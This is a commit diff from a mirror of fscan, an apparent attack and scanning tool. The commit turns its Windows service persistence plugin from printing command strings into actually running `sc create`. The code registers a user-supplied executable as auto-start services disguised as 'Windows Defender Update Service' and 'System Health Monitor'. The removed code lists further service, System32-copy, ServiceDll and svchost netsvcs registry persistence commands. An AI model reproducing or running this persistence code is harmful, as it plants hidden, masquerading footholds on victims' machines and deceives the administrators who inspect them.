mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
fix: 补全 Windows 持久化插件的执行逻辑
5 个 Windows 持久化插件原先只拼接命令字符串不执行，现全部补上真实执行逻辑： - winschtask: schtasks /create 创建计划任务 - winservice: sc create 创建系统服务 - winstartup: 复制 PE 到启动文件夹 - winregistry: reg add 写入 Run/RunOnce 注册表键 - winwmi: PowerShell 创建 WMI 事件订阅（单次调用，1.2s 完成）
This commit is contained in:
ZacharyZcR
+37
-175
@@ -6,8 +6,8 @@ import (
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"context"
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"fmt"
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"os"
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"os/exec"
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"path/filepath"
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"runtime"
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"strings"
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"github.com/shadow1ng/fscan/common"
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@@ -15,203 +15,65 @@ import (
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"github.com/shadow1ng/fscan/plugins"
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)
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// WinServicePlugin Windows服务持久化插件
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// 设计哲学：直接实现，删除过度设计
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// - 删除复杂的继承体系
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// - 直接实现服务持久化功能
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// - 保持原有功能逻辑
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type WinServicePlugin struct {
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plugins.BasePlugin
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}
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// NewWinServicePlugin 创建Windows服务持久化插件
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func NewWinServicePlugin() *WinServicePlugin {
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return &WinServicePlugin{
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BasePlugin: plugins.NewBasePlugin("winservice"),
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}
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}
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// Scan 执行Windows服务持久化 - 直接实现
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func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
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config := session.Config
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_ = session.State
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var output strings.Builder
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// 从config获取配置
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pePath := config.WinPEFile
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if runtime.GOOS != "windows" {
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output.WriteString("Windows服务持久化只支持Windows平台\n")
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return &plugins.Result{
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Success: false,
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Output: output.String(),
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Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
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}
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}
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pePath := session.Config.WinPEFile
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if pePath == "" {
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output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n")
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return &plugins.Result{
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Success: false,
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Output: output.String(),
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Error: fmt.Errorf("未指定PE文件"),
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return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件，使用 -win-pe 参数")}
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}
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if _, err := os.Stat(pePath); err != nil {
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return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)}
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}
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absPath, _ := filepath.Abs(pePath)
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baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath))
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services := []struct {
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name string
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display string
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start string
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}{
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{fmt.Sprintf("WinDefendUpdate_%s", baseName), "Windows Defender Update Service", "auto"},
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{fmt.Sprintf("SysHealthMon_%s", baseName), "System Health Monitor", "delayed-auto"},
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}
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var output strings.Builder
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var successCount int
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for _, svc := range services {
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out, err := exec.Command("sc", "create", svc.name,
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fmt.Sprintf("binPath=%s", absPath),
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fmt.Sprintf("DisplayName=%s", svc.display),
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fmt.Sprintf("start=%s", svc.start)).CombinedOutput()
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if err != nil {
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output.WriteString(fmt.Sprintf("[失败] %s: %s\n", svc.name, strings.TrimSpace(string(out))))
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continue
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}
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_ = exec.Command("sc", "description", svc.name, "Provides system maintenance and monitoring services.").Run()
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output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", svc.name, svc.start))
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successCount++
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}
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// 检查目标文件是否存在
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if _, err := os.Stat(pePath); os.IsNotExist(err) {
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output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath))
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return &plugins.Result{
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Success: false,
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Output: output.String(),
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Error: err,
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}
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if successCount > 0 {
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common.LogSuccess(i18n.Tr("winservice_success", successCount))
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}
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// 检查文件类型
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if !p.isValidPEFile(pePath) {
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output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath))
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return &plugins.Result{
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Success: false,
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Output: output.String(),
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Error: fmt.Errorf("无效的PE文件"),
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}
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}
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output.WriteString("=== Windows服务持久化 ===\n")
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output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath))
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output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
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// 创建服务持久化
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services, err := p.createServicePersistence(pePath)
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if err != nil {
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output.WriteString(fmt.Sprintf("创建服务持久化失败: %v\n", err))
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return &plugins.Result{
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Success: false,
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Output: output.String(),
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Error: err,
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}
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}
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output.WriteString(fmt.Sprintf("创建了%d个Windows服务持久化项:\n", len(services)))
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for i, service := range services {
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output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, service))
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}
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output.WriteString("\n✓ Windows服务持久化完成\n")
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common.LogSuccess(i18n.Tr("winservice_success", len(services)))
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return &plugins.Result{
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Success: true,
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Success: successCount > 0,
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Type: plugins.ResultTypeService,
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Output: output.String(),
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Error: nil,
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}
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}
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// createServicePersistence 创建服务持久化
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func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) {
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absPath, err := filepath.Abs(pePath)
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if err != nil {
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return nil, fmt.Errorf("failed to get absolute path: %w", err)
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}
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var services []string
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baseName := filepath.Base(absPath)
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baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
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serviceConfigs := []struct {
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name string
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displayName string
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description string
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startType string
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}{
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{
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name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt),
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displayName: "Windows Defender Update Service",
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description: "Manages Windows Defender signature updates and system security",
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startType: "auto",
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},
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{
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name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt),
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displayName: "System Event Log Service",
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description: "Manages system event logging and audit trail maintenance",
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startType: "auto",
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},
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{
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name: fmt.Sprintf("NetworkManager%s", baseNameNoExt),
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displayName: "Network Configuration Manager",
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description: "Handles network interface configuration and management",
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startType: "demand",
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},
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{
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name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt),
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displayName: "Windows Update Assistant",
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description: "Coordinates automatic Windows updates and patches",
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startType: "auto",
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},
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{
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name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt),
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displayName: "System Maintenance Service",
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description: "Performs routine system maintenance and optimization tasks",
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startType: "manual",
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},
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}
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for _, config := range serviceConfigs {
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scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`,
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config.name, absPath, config.displayName, config.startType)
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scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description)
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scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name)
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services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd))
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services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd))
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services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd))
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}
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serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt)
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wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName)
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copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath)
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services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd))
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scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`,
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serviceWrapperName, wrapperPath)
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services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd))
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regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
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serviceWrapperName, wrapperPath)
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services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd))
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dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt)
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if filepath.Ext(absPath) == ".dll" {
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svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`,
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dllServiceName)
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services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd))
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regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
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dllServiceName, absPath)
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services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd))
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regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`,
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dllServiceName)
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services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd))
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}
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return services, nil
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}
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// isValidPEFile 检查是否为有效的PE文件
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func (p *WinServicePlugin) isValidPEFile(filePath string) bool {
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ext := strings.ToLower(filepath.Ext(filePath))
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return ext == ".exe" || ext == ".dll"
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}
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// 注册插件
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func init() {
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RegisterLocalPlugin("winservice", func() Plugin {
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return NewWinServicePlugin()
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